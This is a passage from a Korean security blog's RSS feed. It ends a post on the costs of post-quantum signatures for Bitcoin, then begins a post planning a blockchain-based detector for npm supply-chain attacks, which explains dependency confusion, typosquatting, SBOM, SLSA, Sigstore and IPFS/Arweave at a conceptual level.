&lt;p data-ke-size=&quot;size16&quot;&gt;가장 큰 도전은 성능과 블록 크기의 폭증이다. Dilithium3 서명은 ECDSA보다 40배 크다. 블록당 1000개 트랜잭션이 있다면, 서명만으로 2.4MB를 차지한다(ECDSA는 64KB). 10분마다 2.4MB 블록이 생성되면 하루 346MB, 1년 126GB다. Bitcoin은 14년간 500GB인데, PQC로 전환하면 몇 년 만에 그걸 넘을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 탈중앙화를 위협한다. 풀 노드를 운영하려면 테라바이트급 스토리지와 고속 네트워크가 필요하다면, 일반 사용자는 포기하고 소수의 강력한 노드만 남게 된다. 라이트 노드를 사용하면 블록 헤더만 검증할 수 있지만, 이는 보안이 약하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서명 검증 시간도 문제다. Dilithium 검증은 ECDSA보다 느리다. 블록당 1000개 서명을 검증하는 시간이 크게 증가하면 블록 생성 시간을 늘려야 하고, 이는 사용자 경험을 해친다. 병렬 검증(여러 코어로 동시에 검증)이나 GPU 가속을 고려해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PQC 알고리즘의 구현 복잡도도 만만찮다. Constant-time 구현을 보장하기 어렵고, 특히 Falcon 같은 경우 부동소수점 연산 때문에 타이밍 공격에 취약하다. 보안 감사를 철저히 해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막으로 커뮤니티 합의를 이끌어내는 것도 큰 도전이다. Bitcoin 커뮤니티는 매우 보수적이고 큰 변경에 저항한다. &quot;양자 컴퓨터는 아직 멀었다&quot;는 주장과 &quot;지금 준비해야 한다&quot;는 주장이 충돌할 것이다. 기술적 해결책뿐 아니라 거버넌스 전략도 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;주제 조사 후 느낀 점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 주제를 파고들면서 양자 위협이 생각보다 훨씬 가깝게 느껴졌다. 10-15년이면 내가 현업에서 활발히 일하고 있을 시기다. 이론적 가능성이 아니라 실제로 대응해야 할 현실적 위협이다. 특히 &quot;Store now, decrypt later&quot;는 지금 당장 데이터가 수집되고 있을 수 있다는 점에서 소름 끼쳤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동시에 기술적 복잡도와 실용성의 긴장을 실감했다. 암호학자들은 수학적으로 완벽한 보안을 추구하지만, 엔지니어는 실제로 돌아가는 시스템을 만들어야 한다. PQC 서명의 큰 크기는 블록체인의 근본 가치인 탈중앙화를 위협할 수 있다. 보안을 위해 탈중앙화를 희생하는 건 본말전도다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Address Agility 개념이 특히 인상 깊었다. 시스템을 설계할 때부터 미래의 변화를 고려하는 것. 단일 알고리즘에 의존하지 않고, 새로운 알고리즘이 등장해도 유연하게 대응할 수 있는 구조. 이는 암호학뿐 아니라 모든 시스템 설계의 원칙이라고 생각한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;양자역학의 기초 원리(중첩, 얽힘)를 이해하려고 노력하면서, 내 직관이 얼마나 고전적인지 깨달았다. &quot;큐비트가 0과 1을 동시에 표현한다&quot;는 게 처음엔 말이 안 되는 것 같았지만, 이는 내가 거시 세계의 경험에만 의존하기 때문이다. 양자 세계는 다른 규칙을 따르고, 그걸 받아들이고 이해하는 것이 양자 암호학의 출발점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://csrc.nist.gov/news/2024/postquantum-cryptography-fips-approved&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://csrc.nist.gov/news/2024/postquantum-cryptography-fips-approved&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1760620530501&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Post-Quantum Cryptography FIPS Approved | CSRC&quot; data-og-description=&quot;The Secretary of Commerce has approved three Federal Information Processing Standards (FIPS) for post-quantum cryptography: These standards specify key establishment and digital signature schemes that are designed to resist future attacks by quantum comput&quot; data-og-host=&quot;csrc.nist.gov&quot; data-og-source-url=&quot;https://csrc.nist.gov/news/2024/postquantum-cryptography-fips-approved&quot; data-og-url=&quot;https://csrc.nist.gov/news/2024/postquantum-cryptography-fips-approved&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://csrc.nist.gov/news/2024/postquantum-cryptography-fips-approved&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://csrc.nist.gov/news/2024/postquantum-cryptography-fips-approved&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Post-Quantum Cryptography FIPS Approved | CSRC&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;The Secretary of Commerce has approved three Federal Information Processing Standards (FIPS) for post-quantum cryptography: These standards specify key establishment and digital signature schemes that are designed to resist future attacks by quantum comput&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;csrc.nist.gov&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://pq-crystals.org/index.shtml&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://pq-crystals.org/index.shtml&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1760620738367&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;CRYSTALS&quot; data-og-description=&quot;The &amp;quot;Cryptographic Suite for Algebraic Lattices&amp;quot; (CRYSTALS) encompasses two cryptographic primitives: Kyber, an IND-CCA2-secure key-encapsulation mechanism (KEM); and Dilithium, a strongly EUF-CMA-secure digital signature algorithm. Both algorithms are bas&quot; data-og-host=&quot;pq-crystals.org&quot; data-og-source-url=&quot;https://pq-crystals.org/index.shtml&quot; data-og-url=&quot;https://pq-crystals.org/index.shtml&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://pq-crystals.org/index.shtml&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://pq-crystals.org/index.shtml&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;CRYSTALS&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;The &quot;Cryptographic Suite for Algebraic Lattices&quot; (CRYSTALS) encompasses two cryptographic primitives: Kyber, an IND-CCA2-secure key-encapsulation mechanism (KEM); and Dilithium, a strongly EUF-CMA-secure digital signature algorithm. Both algorithms are bas&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;pq-crystals.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>TechDocs | Blog</category>
      <author>음대생</author>
      <guid isPermaLink="true">https://c0mpos3r.tistory.com/31</guid>
      <comments>https://c0mpos3r.tistory.com/31#entry31comment</comments>
      <pubDate>Thu, 16 Oct 2025 22:19:28 +0900</pubDate>
    </item>
    <item>
      <title>[Knight Frontier] BoB 프로젝트 탐구 - 블록체인 기반의 공급망 공격 탐지 툴 제작</title>
      <link>https://c0mpos3r.tistory.com/30</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;주제 선정 이유&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요즘 npm에서 패키지 하나 설치하면 수백 개의 의존성이 딸려온다. &lt;b&gt;npm install express&lt;/b&gt; 하나만 쳐도 200개가 넘는 패키지가 깔린다. 그 중 하나라도 악성 코드가 숨어있다면? 2021년 ua-parser-js 사건처럼 정상 패키지가 갑자기 악성 버전으로 업데이트되면 그 패키지를 사용하는 수백만 프로젝트가 순식간에 감염된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제는 우리가 이 패키지들을 맹목적으로 신뢰한다는 것이다. 수백만 다운로드, GitHub 스타 수천 개면 안전하다고 착각한다. 하지만 메인테이너 계정이 해킹되거나, 악의적인 기여자가 교묘하게 백도어를 심을 수 있다. 2018년 event-stream 사건은 공격자가 몇 달간 정상적으로 기여하면서 신뢰를 쌓은 후, 특정 암호화폐 지갑만 타겟으로 하는 코드를 몰래 삽입한 사례다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;블록체인의 불변성과 투명성이 이 문제의 해결책이 될 수 있다고 생각했다. 패키지의 전체 생명주기를 블록체인에 기록하면 누가 언제 어떤 코드를 추가했는지, 빌드 프로세스가 정상인지, 전달 과정에서 변조되지 않았는지 검증할 수 있다. 특히 웹3 생태계 자체가 npm을 통한 공격에 취약한 상황이라(지갑 private key 탈취 시도 등), 블록체인으로 블록체인 생태계를 보호한다는 아이러니가 흥미롭다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;주제 관련 기반 지식&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 소프트웨어 공급망과 공격 벡터&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소프트웨어 공급망은 코드 작성부터 최종 사용자 배포까지의 전체 과정을 의미한다. 개발자가 IDE에서 코드를 작성하고, Git에 커밋하고, CI/CD로 빌드하고, 패키지 레지스트리에 배포하고, 사용자가 다운로드하는 각 단계마다 공격 지점이 존재한다. 전통적인 보안이 애플리케이션 자체를 보호한다면, 공급망 보안은 그 애플리케이션이 만들어지는 전 과정을 보호한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공급망 공격이 특히 위험한 이유는 신뢰의 연쇄를 악용하기 때문이다. 개발자는 npm을 신뢰하고, npm 패키지를 신뢰하고, 그 패키지의 의존성도 신뢰한다. 이 신뢰 사슬의 어느 한 곳이라도 깨지면 전체가 무너진다. 또한 공급망 공격은 탐지가 어렵다. 악성 코드가 정상 빌드 프로세스를 통해 들어오기 때문에 기존 보안 도구로는 잡아내기 힘들다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가. 의존성 혼동 (Dependency Confusion) 공격&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기업들은 보통 내부 패키지 레지스트리와 공개 레지스트리(npm, PyPI)를 함께 사용한다. 내부 프로젝트에서만 쓰는 패키지는 내부 레지스트리에 올리지만, 그 이름이 공개적으로 알려지면 공격자가 같은 이름으로 공개 레지스트리에 악성 패키지를 올릴 수 있다. 패키지 매니저는 기본적으로 버전이 높은 쪽을 선택하므로, 공격자가 9999.9.9 같은 극단적으로 높은 버전을 설정하면 내부 패키지 대신 악성 패키지가 설치된다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;공격 메커니즘&lt;/b&gt;: 공격자는 LinkedIn, GitHub 등에서 기업의 내부 패키지 이름을 수집한다. 개발자들이 실수로 package.json을 공개 저장소에 올리는 경우가 많기 때문이다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;피해 사례&lt;/b&gt;: 2021년 보안 연구자 Alex Birsan은 이 기법으로 Microsoft, Apple, Netflix 등 35개 기업의 내부 네트워크에 침투할 수 있음을 입증했다. 총 13만 달러의 버그 바운티를 받았다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;방어 방법&lt;/b&gt;: 내부 레지스트리를 우선시하도록 설정하거나, 내부 패키지 이름을 scope로 구분한다(@company/package-name). 또는 공개 레지스트리에 placeholder를 먼저 올려 이름을 선점한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;나. 타이포스쿼팅 (Typosquatting)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인기 있는 패키지 이름과 비슷하지만 철자가 살짝 다른 이름으로 악성 패키지를 등록하는 수법이다. 개발자의 오타를 노린다. 예를 들어 crossenv 대신 cross-env, babelcli 대신 babel-cli 같은 식이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;실제 사례&lt;/b&gt;: 2017년 연구자들이 214개의 typosquatting 패키지를 발견했다. 이 중 일부는 환경 변수를 외부 서버로 전송하는 코드가 있었다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;자동화 공격&lt;/b&gt;: 공격자는 인기 패키지 Top 1000의 모든 가능한 오타 조합을 자동 생성해 패키지를 등록한다. 심지어 실제 패키지의 기능을 그대로 제공하면서 백도어만 추가하는 경우도 있다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;탐지의 어려움&lt;/b&gt;: 패키지가 실제 기능을 정상적으로 수행하면 개발자는 악성 여부를 눈치채기 어렵다. 악성 코드가 특정 조건에서만 실행되도록 만들면 더욱 은밀하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;다. 계정 탈취 및 패키지 하이재킹&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적으로 운영되던 인기 패키지의 메인테이너 계정을 해킹하거나 사회공학으로 접근 권한을 얻어, 악성 버전을 배포하는 방식이다. 이미 신뢰받는 패키지이기 때문에 사용자들이 의심 없이 업데이트한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;ua-parser-js 사건 (2021)&lt;/b&gt;: 월 700만 다운로드의 인기 패키지가 해킹당해 암호화폐 채굴 코드가 포함된 버전이 배포되었다. 수시간 내에 수백만 시스템이 감염되었을 것으로 추정된다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;event-stream 사건 (2018)&lt;/b&gt;: 공격자가 먼저 오픈소스 기여자로 신뢰를 쌓은 후, 지친 메인테이너로부터 관리 권한을 넘겨받았다. 그 후 flatmap-stream이라는 의존성을 추가했는데, 여기에 특정 비트코인 지갑을 타겟으로 하는 코드가 숨어있었다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;방어의 어려움&lt;/b&gt;: 메인테이너는 보통 개인 개발자로 2FA 같은 보안 조치가 부족한 경우가 많다. npm은 2019년부터 상위 패키지에 2FA를 강제하기 시작했지만 모든 패키지에 적용되지는 않는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. SBOM (Software Bill of Materials)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SBOM은 소프트웨어를 구성하는 모든 컴포넌트, 라이브러리, 의존성의 목록과 각각의 버전, 라이선스, 출처 등을 명시한 문서다. 마치 식품의 성분표처럼 소프트웨어에 무엇이 들어있는지 투명하게 보여준다. 최근 Log4Shell 같은 대규모 취약점이 발견됐을 때, SBOM이 있으면 영향받는 시스템을 빠르게 식별할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;미국 바이든 행정부는 2021년 사이버보안 행정명령(EO 14028)에서 연방정부에 소프트웨어를 공급하는 모든 업체에게 SBOM 제공을 의무화했다. 이는 공급망 보안이 국가 안보 차원의 문제로 인식되고 있음을 보여준다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;SPDX (Software Package Data Exchange)&lt;/b&gt;: Linux Foundation이 관리하는 ISO 표준 포맷. 라이선스 컴플라이언스에 초점을 맞췄지만 보안 정보도 포함할 수 있다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;CycloneDX&lt;/b&gt;: OWASP에서 개발한 경량 포맷. 보안 취약점 정보(VEX)를 포함하도록 설계되어 DevSecOps에 적합하다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;SBOM 생성 도구&lt;/b&gt;: Syft, Trivy 같은 도구들이 컨테이너 이미지나 파일 시스템을 스캔해 자동으로 SBOM을 생성한다. 하지만 런타임에 동적으로 로드되는 의존성은 놓칠 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. SLSA (Supply-chain Levels for Software Artifacts)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SLSA는 Google이 주도하는 공급망 보안 프레임워크로, 소프트웨어가 얼마나 안전하게 빌드되었는지를 4단계 레벨로 정의한다. 레벨이 높을수록 공급망 공격에 대한 저항력이 강하다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Level 0&lt;/b&gt;: 아무런 보증이 없는 상태. 대부분의 오픈소스 프로젝트가 여기 해당한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Level 1&lt;/b&gt;: 빌드 프로세스가 자동화되고 출처(provenance) 정보가 생성된다. 하지만 변조 방지는 없다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Level 2&lt;/b&gt;: 서명된 출처 정보로 빌드의 무결성을 검증할 수 있다. 호스팅 플랫폼(GitHub Actions 등)이 신뢰의 기반이 된다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Level 3&lt;/b&gt;: Hermetic 빌드 환경에서 재현 가능한 빌드가 이루어진다. 외부 네트워크 접근이 차단되어 빌드 과정 중 악성 코드 주입이 불가능하다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Level 4&lt;/b&gt;: Two-party review를 거친다. 모든 코드 변경이 최소 두 명의 승인을 받아야 한다. 단일 개발자가 악의적 코드를 삽입하기 어렵다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;블록체인은 SLSA의 여러 요구사항, 특히 출처 정보의 불변성과 검증 가능성을 자연스럽게 만족시킬 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4. Sigstore - 소프트웨어 서명의 민주화&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전통적으로 소프트웨어 서명은 GPG 키 같은 걸 사용했는데, 키 관리가 복잡하고 일반 개발자들이 접근하기 어려웠다. Sigstore는 이를 단순화해 누구나 쉽게 소프트웨어에 서명하고 검증할 수 있게 만든 오픈소스 인프라다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Cosign&lt;/b&gt;: 컨테이너 이미지 서명 도구. cosign sign 명령 한 줄이면 이미지에 서명할 수 있다. 키를 미리 생성하지 않아도 OIDC로 임시 인증서를 받는다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Rekor&lt;/b&gt;: 투명성 로그 (Transparency Log). 모든 서명이 불변 로그에 기록되어 나중에 누구나 검증할 수 있다. Certificate Transparency와 비슷한 개념이다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Fulcio&lt;/b&gt;: 단명 인증서 CA. Google, GitHub, Microsoft 같은 OIDC 제공자로 인증하면 10-20분간 유효한 코드 서명 인증서를 발급한다. 키 관리 부담이 사라진다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;블록체인과의 차이&lt;/b&gt;: Rekor는 Merkle Tree 기반의 로그지만 중앙화된 서버에서 운영된다. 블록체인은 완전히 탈중앙화되어 단일 실패점이 없다는 장점이 있지만, 비용과 확장성에서는 Rekor가 유리하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5. 분산 저장소 - IPFS와 Arweave&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;블록체인에 모든 패키지 코드를 저장하는 건 비현실적이다. 이더리움은 바이트당 20,000 가스가 들어 수 MB 파일 하나 저장하는 데 수천 달러가 든다. 대신 파일은 분산 저장소에 저장하고, 블록체인에는 해시값과 메타데이터만 기록하는 하이브리드 접근이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가. IPFS (InterPlanetary File System)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IPFS는 콘텐츠 주소 지정(Content Addressing)을 사용하는 P2P 파일 시스템이다. 파일의 내용을 해시한 값이 주소가 되므로, 내용이 바뀌면 주소도 바뀐다. 이는 무결성 검증에 완벽하다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;동작 방식&lt;/b&gt;: 파일을 IPFS에 추가하면 CID(Content Identifier)를 받는다. 이 CID로 네트워크의 어느 노드에서든 파일을 가져올 수 있다. 파일은 여러 노드에 분산 저장된다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;패키지 무결성&lt;/b&gt;: 블록체인에 ipfs://Qm... 형태의 CID를 저장하면, 사용자는 패키지를 다운로드한 후 해시를 계산해 CID와 비교함으로써 변조 여부를 확인할 수 있다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;영속성 문제&lt;/b&gt;: IPFS는 기본적으로 캐시다. 아무도 파일을 호스팅하지 않으면 사라진다. Pinning Service(Pinata, Filebase 등)를 사용하거나 Filecoin으로 영구 저장을 보장해야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;나. Arweave - 영구 저장소&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Arweave는 한 번 비용을 지불하면 데이터가 최소 200년 이상 저장되는 것을 목표로 하는 블록체인 기반 저장소다. 스토리지 비용의 지속적 감소를 가정한 경제 모델(Endowment)을 사용한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Blockweave 구조&lt;/b&gt;: 일반 블록체인과 달리 각 블록이 이전 블록뿐 아니라 과거의 무작위 블록과도 연결된다. 이를 통해 전체 데이터를 유지하도록 인센티브를 제공한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;비용 모델&lt;/b&gt;: 초기에 한 번 비용을 지불하면 끝이다. 200년 저장 비용을 미리 예측해 받는다. 1GB당 약 7달러 수준이다 (2024년 기준).&lt;/li&gt;
&lt;li&gt;&lt;b&gt;패키지 저장소 응용&lt;/b&gt;: npm 패키지의 모든 버전을 Arweave에 저장하면 영원히 접근 가능한 불변 기록이 된다. 패키지가 unpublish되어도 역사가 보존된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;프로젝트 진행 과정 예상&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트를 시작한다면 먼저 공급망 공격의 실제 사례들을 심층 분석할 것이다. 공격자가 어떤 경로로 침투했는지, 어느 단계에서 막을 수 있었는지, 피해 규모는 어땠는지를 정리한다. 이를 통해 우선적으로 방어해야 할 공격 벡터를 식별한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음으로 블록체인 아키텍처를 설계한다. 온체인에는 무엇을 저장하고 오프체인에는 무엇을 저장할지 결정해야 한다. 나는 다음과 같은 구조를 고려할 것이다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;온체인&lt;/b&gt;: 패키지 메타데이터(이름, 버전, 설명), 파일 해시(IPFS CID), 메인테이너 DID, 서명, 타임스탬프&lt;/li&gt;
&lt;li&gt;&lt;b&gt;오프체인&lt;/b&gt;: 실제 패키지 코드(IPFS/Arweave), 상세한 빌드 로그, 의존성 그래프&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스마트 컨트랙트는 다음 기능을 구현한다:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;패키지 등록&lt;/b&gt;: 새 패키지를 블록체인에 등록. 초기 메인테이너 설정.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;버전 배포&lt;/b&gt;: 새 버전 추가 시 파일 해시와 서명 기록. 이전 버전은 불변으로 유지.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;권한 관리&lt;/b&gt;: 메인테이너 추가/제거. 멀티시그나 DAO 투표로 중요 패키지 보호.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;검증 요청&lt;/b&gt;: 사용자가 다운로드한 파일의 해시를 온체인 기록과 비교.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;탐지 도구는 여러 레이어로 구성한다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;CLI 도구&lt;/b&gt;: npm install wrapper로 동작. 패키지 설치 전 블록체인 조회해 서명 검증. 알려진 악성 패키지 블랙리스트와 비교.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;CI/CD 플러그인&lt;/b&gt;: GitHub Actions, GitLab CI에 통합. 전체 의존성 트리를 스캔하고 보고서 생성.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;모니터링 대시보드&lt;/b&gt;: 실시간으로 새 패키지 등록을 감시. 타이포스쿼팅 패턴 탐지, 급작스러운 메인테이너 변경 알림.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ML 기반 이상 탐지도 추가한다. 패키지의 정상적인 행동 패턴을 학습한다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;다운로드 추이 (급증/급감 탐지)&lt;/li&gt;
&lt;li&gt;코드 변경 빈도와 크기&lt;/li&gt;
&lt;li&gt;새로 추가된 의존성&lt;/li&gt;
&lt;li&gt;네트워크 통신 코드 추가&lt;/li&gt;
&lt;li&gt;난독화된 코드 포함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이상 징후가 감지되면 자동으로 경고를 발생시키고, 심각한 경우 커뮤니티 투표를 통해 패키지를 격리할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;예상 시행착오&lt;/h3&gt;
